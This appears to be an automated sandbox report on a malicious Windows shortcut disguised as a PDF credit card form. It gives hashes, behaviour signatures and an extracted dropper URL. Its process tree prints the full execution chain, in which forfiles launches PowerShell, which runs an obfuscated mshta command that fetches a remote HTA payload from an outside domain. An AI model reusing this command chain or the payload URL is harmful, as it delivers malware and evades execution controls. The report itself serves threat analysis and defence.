Analysis

  • max time kernel
    136s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-10-2024 12:15

General

  • Target

    3rd_cc_form_Oct_2024.pdf.lnk.download.lnk

  • Size

    1KB

  • MD5

    d53df33a543f82f01cd65a969c026f0c

  • SHA1

    92b8d55b4dccdcdfc076e08dc10e8f878075a4f7

  • SHA256

    a1d7f4bc74b920f6ea79f7d3ed3ac9c544401605688fc968cc27e1a62b9482f6

  • SHA512

    a4b62d3d7d9a1f251c6f2fc1eecec006cd32ed5f206990c84c0f1e3ebb6e86564c5042412c6b329e2a6d44bd2232a89add3db92703e3c779110f83105ea0c49e

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://urban-trek.shop/api/uz/0547131764/Linipute.json

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Indirect Command Execution 1 TTPs 1 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\3rd_cc_form_Oct_2024.pdf.lnk.download.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Windows\System32\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p C:\Windows /m notep*.exe /c "powershell Start-Process \*i*\*2\msh*e https://urban-trek.shop/api/uz/0547131764/Linipute.json"
      2⤵
      • Indirect Command Execution
      • Suspicious use of WriteProcessMemory
      PID:3892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Start-Process \*i*\*2\msh*e https://urban-trek.shop/api/uz/0547131764/Linipute.json
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5016
        • C:\Windows\System32\mshta.exe
          "C:\Windows\System32\mshta.exe" https://urban-trek.shop/api/uz/0547131764/Linipute.json
          4⤵
          • Blocklisted process makes network request
          PID:428

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_izgznpkv.nve.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/5016-0-0x00007FFEEDD43000-0x00007FFEEDD45000-memory.dmp

    Filesize

    8KB

  • memory/5016-10-0x0000029FF30F0000-0x0000029FF3112000-memory.dmp

    Filesize

    136KB

  • memory/5016-11-0x00007FFEEDD40000-0x00007FFEEE801000-memory.dmp

    Filesize

    10.8MB

  • memory/5016-12-0x00007FFEEDD40000-0x00007FFEEE801000-memory.dmp

    Filesize

    10.8MB

  • memory/5016-15-0x00007FFEEDD40000-0x00007FFEEE801000-memory.dmp

    Filesize

    10.8MB